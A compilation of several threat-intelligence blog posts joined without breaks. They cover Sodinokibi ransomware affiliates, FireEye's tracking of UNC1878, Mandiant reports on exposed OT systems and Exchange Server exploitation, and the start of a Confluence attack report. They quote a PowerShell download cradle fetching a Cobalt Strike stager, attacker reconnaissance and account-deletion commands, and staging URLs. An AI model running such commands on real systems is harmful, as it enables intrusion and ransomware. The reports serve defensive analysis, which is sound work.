‘Hidden-User.bat’ was designed to create hidden users on the target system.
This tool links back to some underground distribution on Farsi-speaking private channels.
The file being shared is identical to the one we found to be used actively in the Sodinokibi case in different instances in June 2019, in different cities in the Middle East.
We found the following Farsi-speaking users sharing and discussing this tool specifically (Cryptor007 and MR Amir), and others active in these groups.
McAfee ATR observed this tool being used on June 13 th , 2019 and June 26 th , 2019 by the same actors in different regions.
HIDDEN-USER.bat POSTED IMAGE OF THE TOOL IN USE These Sodinokibi variants are strictly appearing in Israel from our observations: a3769a6748ba5d8023bcb161a5274e24d419bd36 (June 3 rd , 2019) bbabc23525b3852d463ef17ba7b8a2cab831e2b9
(June 11 th , 2019)
We observed the actor dropping one of the above-mentioned variants of Sodinokibi.
In this case, the login came from an IP address originating in Iran and with a machine with a female Persian name.
The attackers connecting are most likely Farsi-speaking, as is evident by the browsing history uncovered by McAfee ATR, which indicates where a number of the tools utilized originate from, including Farsi language file sharing sites, such as Picofile.com and Soft98.ir, that contain malicious tools such as NLBrute, etc.
FARSI LANGUAGE SITE FOUND IN BROWSING HISTORY
We observed the actor attempting to run an RDP brute force attack using NLBrute downloaded from the Iranian site Picofile.com.
The target was several network blocks in Oman and the United Arab Emirates in the Middle East.
In our analysis we discovered an offer to install ransomware on servers posted in Farsi speaking on August 19 th, .
This posting date corresponds with the timing of attacks observed in the Middle East.
The services mentioned are specifically targeting servers that have been obtained via RDP credential theft campaigns.
It is possible that these actors are coming in after the fact and installing ransomware on behalf of the main organizer, according to actor chatter.
One specific Farsi language message indicates these services for a list of countries where they could install ransomware for the potential client.
FARSI LANGUAGE MESSAGE FROM PERSIAN LANGUAGE CHANNEL Tools and Methods of Group 1 The operators responsible for intrusions involving Sodinokibi variants with an unknown affiliate ID utilize a variety of methods: Initial intrusions made over RDP protocol Using Masscan to identify potential victims Executing NLBrute with custom password lists Tools and Methods of Group 2 The operators responsible for intrusions involving Sodinokibi variants with PID 34 utilize a variety of methods: Intrusion via RDP protocol Manual execution of subsequent stages of the operation Deployment of Sodinokibi Deployment of Mimikatz Utilization of CryptoCurrency mining Deployment of other brute force and checker tools Running mass port scans and other reconnaissance activities to identify potential targets Executing NLBrute with custom password lists Some of the operators appear write in Farsi and are originating from Iranian IP address space when connecting to observed targets Tools and Methods of Group 3 The operators responsible for intrusions involving Sodinokibi variants with PID 19 utilize a variety of methods: Intrusion via RDP protocol Manual execution of subsequent stages of the operation Likely a cracking crew working on behalf of an affiliate Deployment of Sodinokibi Custom scripts to erase logs and create hidden users Usage of Neshta to scan internal network shares within an organization in an effort to spread Sodinokibi Running mass port scans and other reconnaissance activities to identify potential targets Limited use of local exploits to gain administrative access Executing NLBrute with custom password lists Some of the operators appear to write in Farsi and are originating from Iranian IP address space when connecting to observed targets
Conclusion In our blog series about Sodinokibi we began by analyzing the code we asked ourselves the question, “Why Persian?”
With the information retrieved from our honeypot investigations, it might give us a hypothesis that the Persian language is present due to the involvement of Persian-speaking affiliates.
Time and evidence will tell.
We observed many affiliates using different sets of tools and skills to gain profit and, across the series, we highlighted different aspects of this massive ongoing operation.
To protect your organization against Sodinokibi, make sure your defense is layered.
As demonstrated, the actors we are facing either buy, brute-force or spear-phish themselves into your company or use a trusted-third party that has access to your network.
Some guidelines for organizations to protect themselves include employing sandboxing, backing up data, educating their users, and restricting access.
As long as we support the ransomware model, ransomware will exist as it has for the last four years.
We cannot fight alone against ransomware and have to unite as public and private parties.
McAfee is one of the founding partners of NoMoreRansom.org and are supporting Law Enforcement agencies around the globe in fighting ransomware.
We hope you enjoyed reading this series of blogs about Sodinokibi.
When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set.
How common is this activity?
Is there anything unique or special about this malware or campaign?
What is new and what is old in terms of TTPs or infrastructure?
Is this being seen anywhere else?
What information do I have that substantiates the nature of this threat actor?
To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor.
The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts.
In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets.
Identification On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client.
Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands (Figure 1).
ipconfig /all net config workstation net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts
Figure 1:
Initial Reconnaissance Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory (Figure 2).
cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object net.webclient).downloadstring(‘hxxps://cylenceprotect[.
]com:80/abresgbserthgsbabrt’))” Figure 2: PowerShell download cradle used to request a Cobalt Strike stager Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant.
Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks.
A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team.
Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878.
At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense.
By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time.
This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging.
For more information on our clustering methodology, check out our post about how we analyze, separate, or merge these clusters at scale .
Expansion Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure.
WHOIS records for cylenceprotect[.
]com (Figure 3) revealed that the domain was registered on January 27, 2020, with the registrar \"Hosting Concepts B.V. d/b/a Openprovider\", less than two days before we saw this domain used in activity impacting the Managed Defense customer.
Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.registrar.eu Registrar URL: http://www.registrar.eu Updated Date: 2020-01-28T00:35:43Z Creation Date: 2020-01-27T23:32:18Z Registrar Registration Expiration Date: 2021-01-27T23:32:18Z Registrar: Hosting Concepts B.V. d/b/a Openprovider Figure 3: WHOIS record for the domain
cylenceprotect[.
]com Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa.
In addition, the domain used self-hosted name servers ns1.cylenceprotect[.
]com and ns2.cylenceprotect[.
]com, which also resolved to the Choopa IP address.
Network scan data for the server uncovered a certificate on port 80 and 443, a snippet of which can be seen in Figure 4.
Certificate: Data: Version: 3 (0x2)
Serial Number: 03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0 Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, O=
Let's Encrypt, CN=
Let's Encrypt Authority X3
Validity
Not Before:
Jan 28 02:02:14 2020 GMT Not After : Apr 27 02:02:14 2020 GMT Subject: CN=cylenceprotect[.
]com Figure 4: TLS Certificate for the domain cylenceprotect[.
]com
The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates.
Along with the certificate in Figure 4, we also identified the default generated, self-signed Cobalt Strike certificate (Figure 5) on port 54546 (50050 by default).
Certificate: Data: Version: 3 (0x2)
Serial Number: 1843990795 (0x6de9110b)
Signature Algorithm: sha256WithRSAEncryption Issuer: C=Earth, ST=Cyberspace, L=
Somewhere, O=cobaltstrike, OU=
AdvancedPenTesting, CN=
Major Cobalt Strike Validity Not Before:
Jan 28 03:06:30 2020 GMT Not After : Apr 27 03:06:30 2020 GMT Subject: C=Earth, ST=Cyberspace, L=
Somewhere, O=cobaltstrike, OU=
AdvancedPenTesting, CN=
Major Cobalt Strike Figure 5: Default Cobalt Strike TLS Certificate used by UNC1878 Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense.
Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile .
While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure.
We began hunting for servers that exhibited the same characteristics as those used by UNC1878.
Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft: Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”.
Domains registered with “Hosting Concepts B.V. d/b/a Openprovider\" as early as December 19, 2019.
Self-hosted name servers.
Let’s Encrypt certificates on port 80.
Virtual private servers hosted predominantly by Choopa.
BEACON payloads configured with the Amazon malleable C2 profile.
Cobalt Strike Teams Servers on non-standard ports.
Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools.
Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878.
While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers.
Discovery With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week.
Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878.
Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate.
Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain.
In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal.
In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers.
While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor.
This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer.
By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns.
Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts.
In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment.
Conclusion Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE.
Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments.
However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post.
The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale.
Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers.
Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations.
As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations.
The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem.
Acknowledgements Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman and Brendan McKeague for technical review of this content.
In addition, thank you to the frontline responders harvesting valuable intrusion data that enables our research.
Indicators of Compromise Domains aaatus[.
]com avrenew[.
]com
besttus[.
]com bigtus[.
]com
brainschampions[.
]com checkwinupdate[.
]com
ciscocheckapi[.
]com cleardefencewin[.
]com cmdupdatewin[.
]com comssite[.
]com conhostservice[.
]com
cylenceprotect[.
]com defenswin[.
]com
easytus[.
]com findtus[.
]com firsttus[.
]com freeallsafe[.
]com freeoldsafe[.
]com greattus[.
]com
havesetup[.
]net iexploreservice[.
]com jomamba[.
]best livecheckpointsrs[.
]com livetus[.
]com lsassupdate[.
]com
lsasswininfo[.
]com
microsoftupdateswin[.
]com
myservicebooster[.
]com myservicebooster[.
]net myserviceconnect[.
]net myserviceupdater[.
]com myyserviceupdater[.
]com
renovatesystem[.
]com service-updater[.
]com servicesbooster[.
]com servicesbooster[.
]org servicesecurity[.
]org serviceshelpers[.
]com serviceupdates[.
]net serviceuphelper[.
]com sophosdefence[.
]com target-support[.
]online taskshedulewin[.
]com timesshifts[.
]com topsecurityservice[.
]net
topservicehelper[.
]com topservicesbooster[.
]com
topservicesecurity[.
]com topservicesecurity[.
]net topservicesecurity[.
]org topservicesupdate[.
]com topservicesupdates[.
]com topserviceupdater[.
]com
update-wind[.
]com updatemanagir[.
]us updatewinlsass[.
]com updatewinsoftr[.
]com web-analysis[.
]live
windefenceinfo[.
]com windefens[.
]com winsysteminfo[.
]com winsystemupdate[.
]com
worldtus[.
]com yoursuperservice[.
]com
IP Addresses 31.7.59.141 45.32.30.162 45.32.130.5 45.32.161.213 45.32.170.9 45.63.8.219 45.63.95.187 45.76.20.140 45.76.167.35 45.76.231.195 45.77.58.172 45.77.89.31 45.77.98.157 45.77.119.212 45.77.153.72 45.77.206.105 63.209.33.131 66.42.97.225 66.42.99.79 79.124.60.117 80.240.18.106 81.17.25.210 95.179.147.215 95.179.210.8 95.179.215.228 96.30.192.141 96.30.193.57 104.156.227.250
104.156.245.0 104.156.250.132 104.156.255.79 104.238.140.239 104.238.190.126 108.61.72.29 108.61.90.90 108.61.176.237 108.61.209.123 108.61.242.184 140.82.5.67 140.82.10.222 140.82.27.146 140.82.60.155 144.202.12.197 144.202.83.4 149.28.15.247 149.28.35.35 149.28.50.31 149.28.55.197 149.28.81.19 149.28.113.9 149.28.122.130 149.28.246.25
149.248.5.240 149.248.56.113 149.248.58.11 151.106.56.223 155.138.135.182 155.138.214.247 155.138.216.133 155.138.224.221 207.148.8.61 207.148.15.31 207.148.21.17 207.246.67.70
209.222.108.106 209.250.255.172 216.155.157.249 217.69.15.175 BEACON Staging URLs hxxp://104.156.255[.
]79:80/avbcbgfyhunjmkmk hxxp://149.28.50[.
]31:80/adsrxdfcffdxfdsgfxzxds hxxp://149.28.81[.
]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1 hxxp://45.32.161[.
]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx hxxp://45.63.8[.
]219:80
/ajhgfrtyujhytr567uhgfrt6y789ijhg hxxp://66.42.97[.
]225:80/aqedfy345yu9876red45f6g78j90 hxxp://findtus[.
]com/akkhujhbjcjcjhufuuljlvu hxxp://thedemocraticpost[.
]com/kflmgkkjdfkmkfl hxxps://brainschampions[.
]com:443/atrsgrtehgsetrh5ge hxxps://ciscocheckapi[.
]com:80/adsgsergesrtvfdvsa hxxps://cylenceprotect[.
]com:80/abresgbserthgsbabrt hxxps://havesetup[.
]net/afgthyjuhtgrfety hxxps://servicesbooster[.
]org:443/sfer4f54 hxxps://servicesecurity[.
]org:443/fuhvbjk hxxps://timesshifts[.
]com:443/akjhtyrdtfyguhiugyft hxxps://timesshifts[.
]com:443/ry56rt6yh5rth hxxps://update-wind[.
]com/aergerhgrhgeradgerg hxxps://updatemanagir[.
]us:80/afvSfaewfsdZFAesf Subscribe to Blogs Get email updates as new blog posts are added.
Attacks on control processes supported by operational technology (OT) are often perceived as necessarily complex.
This is because disrupting or modifying a control process to cause a predictable effect is often quite difficult and can require a lot of time and resources.
However, Mandiant Threat Intelligence has observed simpler attacks, where actors with varying levels of skill and resources use common IT tools and techniques to gain access to and interact with exposed OT systems.
The activity is typically not sophisticated and is normally not targeted against specific organizations.
Rather, the compromises appear to be driven by threat actors who are motivated to achieve ideological, egotistical, or financial objectives by taking advantage of an ample supply of internet-connected OT systems.
As the actors are not interested in causing specific physical outcomes, they target whatever is available on the internet.
Mandiant has observed an increase in compromises of internet-accessible OT assets over the past several years.
In this blog post we discuss previously undisclosed compromises and place them in context alongside publicly known incidents.
Although none of these incidents have appeared to significantly impact the physical world, their increasing frequency and relative severity calls for analysis on their possible risks and implications.
Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence .
Compromises of Internet-Exposed OT Are Increasing in Frequency While Mandiant has monitored threat actors claiming to share or sell access to internet-exposed OT systems since at least 2012, we have seen a significant increase in the frequency and relative severity of incidents in the past few years.
The most common activity we observe involves actors trying to make money off exposed OT systems, but we also see actors simply sharing knowledge and expertise.
More recently, we have observed more low sophistication threat activity leveraging broadly known tactics, techniques, and procedures (TTPs), and commodity tools to access, interact with, or gather information from internet exposed assets—something we had seen very little of in the past.
This low sophistication threat activity has impacted a variety of targets across different industries, ranging from solar energy panels and water control systems, to building automation systems (BAS) and home security systems in academic and private residences.
While some critical infrastructure targets are very sensitive in nature, other targets present very little risk.
The following timeline presents a selection of some public and previously undisclosed OT compromises Mandiant observed between 2020 and early 2021.
We note that, although it is possible many of these incidents involved process interaction, high confidence validation is not feasible as most often the evidence is provided by the actor itself.
Figure 1:
Selection of notable low sophistication OT compromises: January 2020 to April 2021 Low Sophistication OT Threat Activity Can Take Many Forms A consistent characteristic we observe among low sophisticated compromises is that actors most often exploit unsecure remote access services, such as virtual network computing (VNC) connections, to remotely access the compromised control systems.
Graphical user interfaces (GUI), such as human machine interfaces (HMI), become the low-hanging fruit of process-oriented OT attacks as they provide a user-friendly representation of complex industrial processes, which enables actors to modify control variables without prior knowledge of a process.
In many cases, the actors showed evidence of compromised control processes via images of GUIs, IP addresses, system timestamps, and videos.
Low Sophistication Threat Actors Access HMIs and Manipulate Control Processes
In March 2020, we analyzed a series of screenshots shared by a threat actor who claimed to compromise dozens of control systems across North America, Western and Central Europe, and East Asia.
Based on the timestamps from the images, the actor appeared to gain unauthorized access to these assets over a five-day period.
The actor also shared a low-quality cell phone video showing their explicit interaction with a Dutch-language temperature control system.
While much of this type of activity appears opportunistic in nature, some may also be driven by political motivations.
For example, we have seen hacktivist groups that frequently use anti-Israel/pro-Palestine rhetoric in social media posts share images indicating that they had compromised OT assets in Israel, including a solar energy asset and the webserver of a datalogger used for different applications such as mining exploration and dam surveillance (Figure 2).
Figure 2:
Screenshots of compromised web-interfaces supporting OT
Some threat actors appear particularly eager to demonstrate their interaction with compromised control systems.
One threat actor shared multiple screen recordings making arbitrary set point changes to compromised HMIs via remote connections from their own desktop.
While we suspect many of the victims compromised by this threat actor were small- and medium-sized businesses, on one occasion the group appeared to have successfully accessed the BAS of a hotel in Australia belonging to a major international hotel chain (Figure 3).
Figure 3:
Screenshots showing a possible compromise of a hotel BAS Some Amateur Actors Show Limited OT Expertise Some of the actors we track made comments that indicated they had either a limited understanding of the OT assets they compromised or that they were simply attempting to gain notoriety.
For example, one threat actor shared a screenshot of a purportedly compromised German-language rail control system.
We conducted a reverse image search of the screenshot and identified the asset as the web interface for an ECoS 50210 command station designed for model train sets (Figure 4).
Figure 4: “Rail control system” that was really a web-interface for a model train set Another group made a similar gaffe when they claimed to retaliate for an explosion at a missile facility in Iran by compromising an Israeli “gas system.”
A video of their operation showed that they had actually compromised a kitchen ventilation system installed at a restaurant in Ramat Hasharon, Israel (Figure 5).
Figure 5: “Gas system” that was really a kitchen ventilation system Low Sophistication OT Threat Activity is Supported by Hacktivist Tutorials In a few instances, actors operating as part of hacktivist collectives created and shared tutorials that instructed their affiliates and sympathetic parties on how to identify and compromise internet-accessible OT assets.
The tutorials typically described simple methodologies, such as using VNC utilities to connect to IP addresses identified in Shodan or Censys searches for port 5900.
These methods appear to have been used in some of the incidents we described, as some of the shared screenshots of compromised OT systems also showed the actor’s web browser tabs displaying similar Shodan queries and remote access tools.
Figure 6: Hacktivist tutorial describing how to access the HMI of an industrial gas and liquid burner Low Sophistication OT Compromises Pose A Growing Risk
Each of the low sophistication incidents we observe is unique and poses a different level of risk, which we normally determine by examining the actor’s previous work and reputation, the target’s industry, and the nature of the compromised process, among other things.
While low sophistication incidents do not appear to commonly impact physical environments, they remain concerning for the following reasons.
Each incident provides threat actors with opportunities to learn more about OT, such as the underlying technology, physical processes, and operations.
These opportunities can increase an adversary's ability and enhance their tradecraft.
Even low-sophistication intrusions into OT environments carry the risk of disruption to physical processes, mainly in the case of industries or organizations with less mature security practices.
As the number of intrusions increase, so does the risk of process disruption.
The publicity of these incidents normalizes cyber operations against OT and may encourage other threat actors to increasingly target or impact these systems.
This is consistent with the increase in OT activity by more resourced financially-motivated groups and ransomware operators.
Security Best Practices and Situational Awareness Help Prevent Low Sophistication Compromises Defense against low sophistication compromises is best addressed by implementing security best practices and gaining situational awareness about the threat exposure of assets and data.
Implementing security controls to defend against this activity is also the foundation for mature security programs that seek to prevent and identify complex OT threats before they introduce a risk to the safety of people and infrastructure.
Whenever feasible, remove OT assets from public-facing networks.
If remote access is required, deploy access controls and monitor traffic for unusual activity to minimize unintended interaction and safeguard asset information.
Apply common network-hardening techniques to remotely accessible and edge devices, such as disabling unused services, changing default credentials, reviewing asset configurations, and creating whitelists for access.
Determine if relevant assets are discoverable using online scanners such as Shodan and Censys.
Leverage support from knowledgeable security researchers to identify exposed assets and leaked information.
Mandiant Threat Intelligence offers subscription content, custom analysis, and black box assessments that help organizations identify internet-exposed assets and information.
Maintain situational awareness on threat actors’ interest in cyber physical systems and the development of OT exploits , with particular interest in attention driven to your organization, third party providers, or original equipment manufacturers (OEM).
Configure HMIs and other control system assets to enforce acceptable input ranges and prohibit hazardous variable states.
Similar to web application security, automation programmers should treat all operator input as potentially malicious and gain security assurances by validating that the operator input is within acceptable thresholds.
Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence .
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Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment.
The observed activity included creation of web shells for persistent access, remote code execution, and reconnaissance for endpoint security solutions.
Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\\SYSTEM , a privileged local account on the Windows operating system.
Furthermore, the process that created the web shell was UMWorkerProcess.exe , the process responsible for Exchange Server’s Unified Messaging Service.
In subsequent investigations, we observed malicious files created by w3wp.exe , the process responsible for the Exchange Server web front-end.
In response to this activity, we built threat hunting campaigns designed to identify additional Exchange Server abuse.
We also utilized this data to build higher-fidelity detections of web server process chains.
On March 2, 2021, Microsoft released a blog post that detailed multiple zero-day vulnerabilities used to attack on-premises versions of Microsoft Exchange Server.
Microsoft also issued emergency Exchange Server updates for the following vulnerabilities: CVE Risk Rating Access Vector Exploitability Ease of
Attack Mandiant Intel CVE-2021-26855 Critical Network Functional Easy Link CVE-2021-26857
Medium Network Functional Easy Link CVE-2021-26858 Medium Network Functional Easy Link CVE-2021-27065 Medium Network Functional Easy Link Table 1: List of March 2021 Microsoft Exchange CVEs and FireEye Intel Summaries
The activity reported by Microsoft aligns with our observations.
FireEye currently tracks this activity in three clusters, UNC2639, UNC2640, and UNC2643.
We anticipate additional clusters as we respond to intrusions.
We recommend following Microsoft’s guidance and patching Exchange Server immediately to mitigate this activity.
Based on our telemetry, we have identified an array of affected victims including US-based retailers, local governments, a university, and an engineering firm.
Related activity may also include a Southeast Asian government and Central Asian telecom.
Microsoft reported the exploitation occurred together and is linked to a single group of actors tracked as “HAFNIUM”, a group that has previously targeted the US-based defense companies, law firms, infectious disease researchers, and think tanks.
In this blog post, we will detail our observations on the active investigations we are currently performing.
As our experience with and knowledge of this threat actor grows, we will update this post or release new technical details as appropriate.
For our Managed Defense Customers, we have launched a Community Protection Event that will provide frequent updates on this threat actor and activity.
We will be discussing these attacks more in an upcoming webinar on Mar.
17, 2021 .
From Exploit to Web Shell Beginning in January 2021, Mandiant Managed Defense observed the creation of web shells on one Microsoft Exchange server file system within a customer’s environment.
The web shell, named help.aspx (MD5: 4b3039cf227c611c45d2242d1228a121), contained code to identify the presence of (1) FireEye xAgent, (2) CarbonBlack, or (3)
CrowdStrike Falcon endpoint products and write the output of discovery.
Figure 1 provides a snippet of the web shell’s code.
Figure 1: Snippet of the web shell help.aspx, crafted to identify the presence of endpoint security software on a victim system The web shell was written to the system by the UMWorkerProcess.exe process, which is associated with Microsoft Exchange Server’s Unified Messaging service.
This activity suggested exploitation of CVE-2021-26858.
Approximately twenty days later, the attacker placed another web shell on a separate Microsoft Exchange Server.
This second, partially obfuscated web shell, named iisstart.aspx
(MD5: 0fd9bffa49c76ee12e51e3b8ae0609ac), was more advanced and contained functions to interact with the file system.
As seen in Figure 2, the web shell included the ability to run arbitrary commands and upload, delete, and view the contents of files.
Figure 2: Snippet of iisstart.aspx, uploaded by the attacker in late January 2021 While the use of web shells is common amongst threat actors, the parent processes, timing, and victim(s) of these files clearly indicate activity that commenced with the abuse of Microsoft Exchange.
In March 2021, in a separate environment, we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server.
This was likely to establish both persistence and secondary access, as in other environments.
In this case, Mandiant observed the process w3wp.exe , (the IIS process associated with the Exchange web front-end) spawning cmd.exe to write a file to disk.
The file, depicted in Figure 3, matches signatures for the tried-and-true China Chopper .
Figure 3: Snippet of China Chopper web shell found on a compromised Exchange Server system We observed that in at least two cases, the threat actors subsequently issued the following command against the Exchange web server: net group \"Exchange Organization administrators\" administrator /del /domain.
This command attempts to delete the administrator user from the Exchange Organizations administrators group, beginning with the Domain Controller in the current domain.
If the system is in a single-system domain, it will execute on the local computer.
Per Microsoft’s blog, they have identified additional post-exploitation activities, including: Credential theft via dumping of LSASS process memory.
Compression of data for exfiltration via 7-Zip.
Use of Exchange PowerShell Snap-ins to export mailbox data.
Use of additional offensive security tools Covenant , Nishang , and PowerCat for remote access.
The activity we have observed, coupled with others in the information security industry, indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments.
This activity is followed quickly by additional access and persistent mechanisms.
As previously stated, we have multiple ongoing cases and will continue to provide insight as we respond to intrusions.
Investigation Tips We recommend checking the following for potential evidence of compromise: Child processes of C:\\Windows\\System32\\inetsrv\\w3wp.exe on Exchange Servers, particularly cmd.exe .
Files written to the system by w3wp.exe or UMWorkerProcess.exe .
ASPX files owned by the SYSTEM user New, unexpected compiled ASPX files in the Temporary ASP.NET Files directory Reconnaissance, vulnerability-testing requests to the following resources from an external IP address: /rpc/ directory /ecp/DDI/DDIService.svc/SetObject Non-existent resources With suspicious or spoofed HTTP User-Agents Unexpected or suspicious Exchange PowerShell SnapIn requests to export mailboxes In our investigations to date, the web shells placed on Exchange Servers have been named differently in each intrusion, and thus the file name alone is not a high-fidelity indicator of compromise.
If you believe your Exchange Server was compromised, we recommend investigating to determine the scope of the attack and dwell time of the threat actor.
Furthermore, as system and web server logs may have time or size limits enforced, we recommend preserving the following artifacts for forensic analysis: At least 14 days of HTTP web logs from the inetpub\\Logs\\LogFiles directories (include logs from all subdirectories)
The contents of the Exchange Web Server (also found within the inetpub folder)
At least 14 days of Exchange Control Panel (ECP) logs, located in Program Files\\Microsoft\\Exchange
Server\\v15\\Logging\\ECP\\Server Microsoft Windows event logs We have found significant hunting and analysis value in these log folders, especially for suspicious CMD parameters in the ECP Server logs.
We will continue updating technical details as we observe more related activity.
Technical Indicators
The following are technical indicators we have observed, organized by the threat groups we currently associate with this activity.
To increase investigation transparency, we are including a Last Known True, or LKT, value for network indicators.
The LKT timestamp indicates the last time Mandiant knew the indicator was associated with the adversary; however, as with all ongoing intrusions, a reasonable time window should be considered.
UNC2639 Indicator Type Note 165.232.154.116 Network: IP Address Last known true: 2021/03/02 02:43
182.18.152.105 Network: IP Address Last known true: 2021/03/03 16:16 UNC2640 Indicator Type MD5 help.aspx File: Web shell 4b3039cf227c611c45d2242d1228a121 iisstart.aspx
File: Web shell 0fd9bffa49c76ee12e51e3b8ae0609ac UNC2643
Indicator Type MD5/Note Cobalt Strike BEACON File: Shellcode 79eb217578bed4c250803bd573b10151 89.34.111.11 Network: IP Address Last known true: 2021/03/03
21:06 86.105.18.116
Network: IP Address Last known true: 2021/03/03 21:39
Detecting the Techniques FireEye detects this activity across our platforms.
The following contains specific detection names that provide an indicator of Exchange Server exploitation or post-exploitation activities we associated with these threat actors.
Platform (s) Detection Name Network Security Email Security Detection On
Demand Malware File Scanning Malware File Storage Scanning FEC_Trojan_ASPX_Generic_2
FE_Webshell_ASPX_Generic_33 FEC_APT_Webshell_ASPX_HEARTSHELL_1
Exploit.
CVE-2021-26855 Endpoint Security Real-Time (IOC) SUSPICIOUS CODE EXECUTION FROM EXCHANGE SERVER (EXPLOIT)
ASPXSPY WEBSHELL
CREATION
A (BACKDOOR)
PROCDUMP ON LSASS.EXE (METHODOLOGY)
TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY)
NISHANG POWERSHELL TCP ONE LINER (BACKDOOR) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
POWERSHELL DOWNLOADER (METHODOLOGY)
Malware Protection (AV/MG) Trojan.
Agent.
Hafnium.
A Module Coverage [Process Guard] - prevents dumping of LSASS memory using the procdump utility.
Helix WINDOWS METHODOLOGY [
Unusual Web Server Child Process] MICROSOFT EXCHANGE [Authentication Bypass (CVE-2021-26855)] Subscribe to Blogs Get email updates as new blog posts are added.
Juniper Threat Labs is seeing an on-going attack targeting Confluence servers.
On August 25, Atlassian, the company behind Confluence, disclosed the vulnerability CVE-2021-26084 .
A few days after that , several proofs-of-concept to exploit this vulnerability surfaced online , which included an unauthenticated remote code execution (RCE).
Along with that, we started seeing an active exploitation of this vulnerability in our telemetry which started on September 02.
Most of the attacks are on port 8090, which is the default port for Confluence.
CVE-2021-26084 attacks A dominant attack we have seen is an attack by the Muhstik botnet.
CVE-2021-26084 attack from Muhstik bot
